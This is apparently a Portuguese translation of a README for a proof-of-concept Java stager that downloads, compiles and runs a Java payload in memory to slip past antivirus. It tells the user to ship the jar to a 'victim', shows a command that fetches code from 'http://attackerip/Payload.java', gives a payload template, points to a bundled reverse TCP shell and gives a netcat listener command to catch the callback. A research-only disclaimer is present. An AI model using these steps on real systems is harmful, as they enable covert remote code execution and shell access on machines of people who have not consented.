
Um Stager Java PoC que pode baixar, compilar e executar um arquivo Java na memória.
Um Stager Java de Prova de Conceito que pode baixar, compilar e executar um arquivo Java na memória.
Isso é apenas para fins de pesquisa, não use onde você não está autorizado a fazê-lo.
Isso é baseado no trabalho de James Williams em sua palestra "Next Gen AV vs My Shitty Code" disponível aqui:
https://www.youtube.com/watch?v=247m2dwLlO4&feature=youtu.be
As partes principais da palestra para mim são:
O exemplo dele é em .net, mas na palestra ele sugeriu que Java seria capaz das mesmas técnicas. Eu implementei um PoC bruto que acredito corresponder às técnicas acima.
A saída no NetBeans incluiu uma linha como esta:
Building jar: C:\Users\cornerpirate\Documents\NetBeansProjects\java-stager\target\JavaStager-0.1-initial.jar
Para trabalhar em sua vítima, você deve enviar o arquivo "JavaStager*.jar" e a pasta "lib" contendo Janino da pasta "target".
O seguinte comando executará o stager:
java -jar JavaStager-0.1-initial.jar
Você será solicitado com o uso conforme mostrado:
Proper Usage is: java -jar JavaStager-0.1-initial.jar <url>
O "url" é o único parâmetro passado para o Stager. Um exemplo de uso seria:
java -jar JavaStager-0.1-initial.jar http://attackerip/Payload.java
Seu payload deve estar em um arquivo chamado "Payload.java" e seu código de exploit deve estar em um método estático chamado "Run". O seguinte mostra o modelo se você quiser escrever o seu próprio:
public class Payload {
public static void Run() {
// Your code here
}
}
Eu forneci um payload de Reverse TCP de exemplo no arquivo "TCPReverseShell.java". Para evitar conflitos de nome, ele não é chamado de "Payload.java" e o nome da classe está errado. O comentário de cabeçalho em "TCPReverseShell.java" explica como modificá-lo para funcionar.
Você precisará hospedar seu arquivo "Payload.java" em um servidor HTTP. Você pode usar Apache se quiser ou serviços HTTP/HTTPS simples em Python2 e Python3 conforme meu blog:
https://cornerpirate.com/2016/12/16/simple-http-or-https-servers/
O atacante precisará iniciar um listener netcat para capturar a conexão de volta usando a técnica padrão nc -lvp 8044.
Postagem no blog explicando como tudo funciona:
https://cornerpirate.com/2018/08/06/java-stager-hide-from-av-in-memory/
Vídeo mostrando como funcionou na prática: